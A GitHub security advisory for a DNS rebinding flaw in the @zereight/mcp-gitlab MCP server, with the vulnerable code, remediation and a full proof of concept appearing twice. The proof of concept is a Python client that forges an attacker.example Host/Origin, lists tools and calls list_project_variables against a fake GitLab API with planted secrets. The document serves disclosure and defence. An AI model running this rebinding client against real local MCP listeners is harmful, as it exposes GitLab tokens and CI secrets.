GHSA-VMP7-252J-CWP7
Vulnerability from github – Published: 2026-09-15 20:54 – Updated: 2026-09-15 20:54@zereight/mcp-gitlab exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled Host and Origin. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.
This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13.
The vulnerable transport setup is in index.ts. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:
// index.ts:12077
app.use(express.json());
registerDownloadProxy(app);
The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:
// index.ts:12375
transport = new StreamableHTTPServerTransport({
sessionIdGenerator: () => randomUUID(),
onsessioninitialized: (newSessionId: string) => {
streamableTransports[newSessionId] = transport;
metrics.totalSessions++;
metrics.activeSessions++;
},
});
The transport constructor does not set enableDnsRebindingProtection, allowedHosts, or allowedOrigins. The server also does not add an Express middleware that rejects unexpected Host or Origin headers before /mcp.
The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:
// config.ts:192
export const HOST = getConfig("host", "HOST") || "127.0.0.1";
// config.ts:196
export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT);
The README documents Streamable HTTP as a supported transport for modern remote deployments and documents REMOTE_AUTHORIZATION=true for multi-user HTTP deployments. In that mode, unauthenticated tools/list and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP initialize request instead of rejecting the connection as cross-origin localhost access.
Proof of concept
The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:
- no-token
initializesucceeds with attacker-controlledHostandOrigin; - no-token
tools/listis rejected with401; - the same forged-origin flow with a planted
Private-Tokenlists tools and callslist_project_variables; - the fake GitLab API records the forwarded token and returns a planted fake project variable.
Start the fake GitLab API:
python3 - <<'PY'
import json
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import parse_qs, urlparse
WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl"
PROJECT_ID = "pluto/rebind-target"
FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"
class Handler(BaseHTTPRequestHandler):
def _json(self, status, payload):
data = json.dumps(payload).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def _record(self):
parsed = urlparse(self.path)
with open(WITNESS, "a", encoding="utf-8") as f:
f.write(json.dumps({
"method": self.command,
"path": parsed.path,
"query": parse_qs(parsed.query),
"authorization": self.headers.get("authorization"),
"private_token": self.headers.get("private-token"),
"job_token": self.headers.get("job-token"),
}, sort_keys=True) + "\n")
def do_GET(self):
self._record()
path = urlparse(self.path).path
if path == "/health":
self._json(200, {"status": "ok"})
return
if path.startswith("/api/v4/") and not (
self.headers.get("authorization") or
self.headers.get("private-token") or
self.headers.get("job-token")
):
self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"})
return
if path.endswith("/variables"):
self._json(200, [{
"key": "PRODUCTION_DEPLOY_TOKEN",
"value": FAKE_SECRET,
"protected": True,
"masked": False,
}])
return
self._json(200, {"ok": True, "path": path})
def log_message(self, fmt, *args):
return
ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever()
PY
In a second terminal, run the affected MCP server:
git clone https://github.com/zereight/gitlab-mcp.git
cd gitlab-mcp
git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13
npm install
npm run build
STREAMABLE_HTTP=true \
REMOTE_AUTHORIZATION=true \
HOST=127.0.0.1 \
PORT=8082 \
GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \
GITLAB_READ_ONLY_MODE=true \
GITLAB_TOOLSETS=issues,projects,repository,ci \
GITLAB_TOOLS=list_project_variables \
node build/index.js
In a third terminal, send MCP requests with attacker-controlled browser-origin headers:
python3 - <<'PY'
import json
import urllib.error
import urllib.request
TARGET = "http://127.0.0.1:8082/mcp"
REBIND_HOST = "attacker.example:8082"
ORIGIN = "http://" + REBIND_HOST
TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"
def parse_rpc(text):
stripped = text.strip()
if stripped.startswith("{"):
return [json.loads(stripped)]
out = []
for line in stripped.splitlines():
line = line.strip()
if line.startswith("data:"):
out.append(json.loads(line[5:].strip()))
return out
class Client:
def __init__(self, token=None):
self.sid = None
self.token = token
def post(self, body):
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Host": REBIND_HOST,
"Origin": ORIGIN,
}
if self.token:
headers["Private-Token"] = self.token
if self.sid:
headers["Mcp-Session-Id"] = self.sid
headers["MCP-Protocol-Version"] = "2025-06-18"
req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=20) as res:
sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id")
if sid:
self.sid = sid
text = res.read().decode("utf-8", "replace")
return res.status, parse_rpc(text), text
except urllib.error.HTTPError as exc:
text = exc.read().decode("utf-8", "replace")
return exc.code, parse_rpc(text), text
def rpc(self, method, params=None, rid=1):
body = {"jsonrpc": "2.0", "id": rid, "method": method}
if params is not None:
body["params"] = params
status, messages, raw = self.post(body)
for msg in messages:
if msg.get("id") == rid:
return status, msg, raw
return status, {}, raw
def initialized(self):
self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})
def initialize(client, rid):
return client.rpc("initialize", {
"protocolVersion": "2025-06-18",
"capabilities": {},
"clientInfo": {"name": "dns-rebind-check", "version": "1"},
}, rid)
unauth = Client()
status, init, raw = initialize(unauth, 1)
print("unauth initialize:", status, "session:", unauth.sid)
unauth.initialized()
status, listed, raw = unauth.rpc("tools/list", {}, 2)
print("unauth tools/list:", status, raw[:200])
authed = Client(TOKEN)
status, init, raw = initialize(authed, 3)
print("token initialize:", status, "session:", authed.sid)
authed.initialized()
status, listed, raw = authed.rpc("tools/list", {}, 4)
tools = [tool["name"] for tool in listed["result"]["tools"]]
print("listed list_project_variables:", "list_project_variables" in tools)
status, called, raw = authed.rpc("tools/call", {
"name": "list_project_variables",
"arguments": {"project_id": "pluto/rebind-target"},
}, 5)
print(raw)
PY
Observed output:
unauth initialize: 200 session: <uuid>
unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."}
token initialize: 200 session: <uuid>
listed list_project_variables: True
[
{
"key": "PRODUCTION_DEPLOY_TOKEN",
"value": "glpat-FAKE-PROJECT-CI-SECRET-0001",
"protected": true,
"masked": false
}
]
The fake GitLab API witness records that the MCP server forwarded the token to the backend request:
{"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}}
Impact
A malicious web page can reach a local @zereight/mcp-gitlab Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled Host and Origin headers. In the current remote-authorization mode, token checks block unauthenticated tools/list and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.
The confirmed impact is:
- attacker-origin browser traffic reaches the local MCP
initializepath; - server-side Host and Origin validation are absent on
/mcp; - tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;
- GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.
Why this is a vulnerability, not intended behavior
- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for
HostandOrigin. - The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs
StreamableHTTPServerTransportwithout enabling those controls and does not add an equivalent Express guard. REMOTE_AUTHORIZATION=trueprotects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.
Remediation
Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:
transport = new StreamableHTTPServerTransport({
sessionIdGenerator: () => randomUUID(),
enableDnsRebindingProtection: true,
allowedHosts: [
`127.0.0.1:${PORT}`,
`localhost:${PORT}`,
],
allowedOrigins: [
`http://127.0.0.1:${PORT}`,
`http://localhost:${PORT}`,
],
onsessioninitialized: (newSessionId: string) => {
streamableTransports[newSessionId] = transport;
},
});
Add an Express middleware before /mcp that rejects unexpected Host and Origin values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@zereight/mcp-gitlab"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.30"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61568"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-15T20:54:55Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim\u0027s local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.\n\nThis is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`.\n\nThe vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:\n\n```typescript\n// index.ts:12077\napp.use(express.json());\n\nregisterDownloadProxy(app);\n```\n\nThe Streamable HTTP transport is then created without the SDK DNS-rebinding controls:\n\n```typescript\n// index.ts:12375\ntransport = new StreamableHTTPServerTransport({\n sessionIdGenerator: () =\u003e randomUUID(),\n onsessioninitialized: (newSessionId: string) =\u003e {\n streamableTransports[newSessionId] = transport;\n metrics.totalSessions++;\n metrics.activeSessions++;\n },\n});\n```\n\nThe transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`.\n\nThe default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:\n\n```typescript\n// config.ts:192\nexport const HOST = getConfig(\"host\", \"HOST\") || \"127.0.0.1\";\n\n// config.ts:196\nexport const PORT = _intEnv(\"PORT\", \"port\", _PORT_DEFAULT);\n```\n\nThe README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access.\n\n## Proof of concept\n\nThe following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:\n\n- no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`;\n- no-token `tools/list` is rejected with `401`;\n- the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`;\n- the fake GitLab API records the forwarded token and returns a planted fake project variable.\n\nStart the fake GitLab API:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport json\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom urllib.parse import parse_qs, urlparse\n\nWITNESS = \"/tmp/zereight-gitlab-mcp-rebind-witness.jsonl\"\nPROJECT_ID = \"pluto/rebind-target\"\nFAKE_SECRET = \"glpat-FAKE-PROJECT-CI-SECRET-0001\"\n\nclass Handler(BaseHTTPRequestHandler):\n def _json(self, status, payload):\n data = json.dumps(payload).encode()\n self.send_response(status)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(data)))\n self.end_headers()\n self.wfile.write(data)\n\n def _record(self):\n parsed = urlparse(self.path)\n with open(WITNESS, \"a\", encoding=\"utf-8\") as f:\n f.write(json.dumps({\n \"method\": self.command,\n \"path\": parsed.path,\n \"query\": parse_qs(parsed.query),\n \"authorization\": self.headers.get(\"authorization\"),\n \"private_token\": self.headers.get(\"private-token\"),\n \"job_token\": self.headers.get(\"job-token\"),\n }, sort_keys=True) + \"\\n\")\n\n def do_GET(self):\n self._record()\n path = urlparse(self.path).path\n if path == \"/health\":\n self._json(200, {\"status\": \"ok\"})\n return\n if path.startswith(\"/api/v4/\") and not (\n self.headers.get(\"authorization\") or\n self.headers.get(\"private-token\") or\n self.headers.get(\"job-token\")\n ):\n self._json(401, {\"message\": \"401 Unauthorized\", \"missing\": \"GitLab token\"})\n return\n if path.endswith(\"/variables\"):\n self._json(200, [{\n \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n \"value\": FAKE_SECRET,\n \"protected\": True,\n \"masked\": False,\n }])\n return\n self._json(200, {\"ok\": True, \"path\": path})\n\n def log_message(self, fmt, *args):\n return\n\nThreadingHTTPServer((\"127.0.0.1\", 18082), Handler).serve_forever()\nPY\n```\n\nIn a second terminal, run the affected MCP server:\n\n```bash\ngit clone https://github.com/zereight/gitlab-mcp.git\ncd gitlab-mcp\ngit checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13\nnpm install\nnpm run build\n\nSTREAMABLE_HTTP=true \\\nREMOTE_AUTHORIZATION=true \\\nHOST=127.0.0.1 \\\nPORT=8082 \\\nGITLAB_API_URL=http://127.0.0.1:18082/api/v4 \\\nGITLAB_READ_ONLY_MODE=true \\\nGITLAB_TOOLSETS=issues,projects,repository,ci \\\nGITLAB_TOOLS=list_project_variables \\\nnode build/index.js\n```\n\nIn a third terminal, send MCP requests with attacker-controlled browser-origin headers:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport json\nimport urllib.error\nimport urllib.request\n\nTARGET = \"http://127.0.0.1:8082/mcp\"\nREBIND_HOST = \"attacker.example:8082\"\nORIGIN = \"http://\" + REBIND_HOST\nTOKEN = \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\"\n\ndef parse_rpc(text):\n stripped = text.strip()\n if stripped.startswith(\"{\"):\n return [json.loads(stripped)]\n out = []\n for line in stripped.splitlines():\n line = line.strip()\n if line.startswith(\"data:\"):\n out.append(json.loads(line[5:].strip()))\n return out\n\nclass Client:\n def __init__(self, token=None):\n self.sid = None\n self.token = token\n\n def post(self, body):\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n \"Host\": REBIND_HOST,\n \"Origin\": ORIGIN,\n }\n if self.token:\n headers[\"Private-Token\"] = self.token\n if self.sid:\n headers[\"Mcp-Session-Id\"] = self.sid\n headers[\"MCP-Protocol-Version\"] = \"2025-06-18\"\n req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=20) as res:\n sid = res.headers.get(\"Mcp-Session-Id\") or res.headers.get(\"mcp-session-id\")\n if sid:\n self.sid = sid\n text = res.read().decode(\"utf-8\", \"replace\")\n return res.status, parse_rpc(text), text\n except urllib.error.HTTPError as exc:\n text = exc.read().decode(\"utf-8\", \"replace\")\n return exc.code, parse_rpc(text), text\n\n def rpc(self, method, params=None, rid=1):\n body = {\"jsonrpc\": \"2.0\", \"id\": rid, \"method\": method}\n if params is not None:\n body[\"params\"] = params\n status, messages, raw = self.post(body)\n for msg in messages:\n if msg.get(\"id\") == rid:\n return status, msg, raw\n return status, {}, raw\n\n def initialized(self):\n self.post({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"})\n\ndef initialize(client, rid):\n return client.rpc(\"initialize\", {\n \"protocolVersion\": \"2025-06-18\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"dns-rebind-check\", \"version\": \"1\"},\n }, rid)\n\nunauth = Client()\nstatus, init, raw = initialize(unauth, 1)\nprint(\"unauth initialize:\", status, \"session:\", unauth.sid)\nunauth.initialized()\nstatus, listed, raw = unauth.rpc(\"tools/list\", {}, 2)\nprint(\"unauth tools/list:\", status, raw[:200])\n\nauthed = Client(TOKEN)\nstatus, init, raw = initialize(authed, 3)\nprint(\"token initialize:\", status, \"session:\", authed.sid)\nauthed.initialized()\nstatus, listed, raw = authed.rpc(\"tools/list\", {}, 4)\ntools = [tool[\"name\"] for tool in listed[\"result\"][\"tools\"]]\nprint(\"listed list_project_variables:\", \"list_project_variables\" in tools)\nstatus, called, raw = authed.rpc(\"tools/call\", {\n \"name\": \"list_project_variables\",\n \"arguments\": {\"project_id\": \"pluto/rebind-target\"},\n}, 5)\nprint(raw)\nPY\n```\n\nObserved output:\n\n```text\nunauth initialize: 200 session: \u003cuuid\u003e\nunauth tools/list: 401 {\"error\":\"Missing Private-Token, JOB-TOKEN, or Authorization header\",\"message\":\"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header.\"}\ntoken initialize: 200 session: \u003cuuid\u003e\nlisted list_project_variables: True\n[\n {\n \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n \"value\": \"glpat-FAKE-PROJECT-CI-SECRET-0001\",\n \"protected\": true,\n \"masked\": false\n }\n]\n```\n\nThe fake GitLab API witness records that the MCP server forwarded the token to the backend request:\n\n```json\n{\"authorization\": null, \"job_token\": null, \"method\": \"GET\", \"path\": \"/api/v4/projects/pluto%2Frebind-target/variables\", \"private_token\": \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\", \"query\": {}}\n```\n\n## Impact\n\nA malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.\n\nThe confirmed impact is:\n\n- attacker-origin browser traffic reaches the local MCP `initialize` path;\n- server-side Host and Origin validation are absent on `/mcp`;\n- tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;\n- GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.\n\n## Why this is a vulnerability, not intended behavior\n\n- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`.\n- The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard.\n- `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.\n\n## Remediation\n\nEnable the SDK DNS-rebinding protection on the Streamable HTTP transport:\n\n```typescript\ntransport = new StreamableHTTPServerTransport({\n sessionIdGenerator: () =\u003e randomUUID(),\n enableDnsRebindingProtection: true,\n allowedHosts: [\n `127.0.0.1:${PORT}`,\n `localhost:${PORT}`,\n ],\n allowedOrigins: [\n `http://127.0.0.1:${PORT}`,\n `http://localhost:${PORT}`,\n ],\n onsessioninitialized: (newSessionId: string) =\u003e {\n streamableTransports[newSessionId] = transport;\n },\n});\n```\n\nAdd an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.",
"id": "GHSA-vmp7-252j-cwp7",
"modified": "2026-09-15T20:54:55Z",
"published": "2026-09-15T20:54:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-vmp7-252j-cwp7"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/pull/555"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/commit/52207c6f5c0e7a39e9235d491225edbb562a0290"
},
{
"type": "PACKAGE",
"url": "https://github.com/zereight/gitlab-mcp"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.30"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.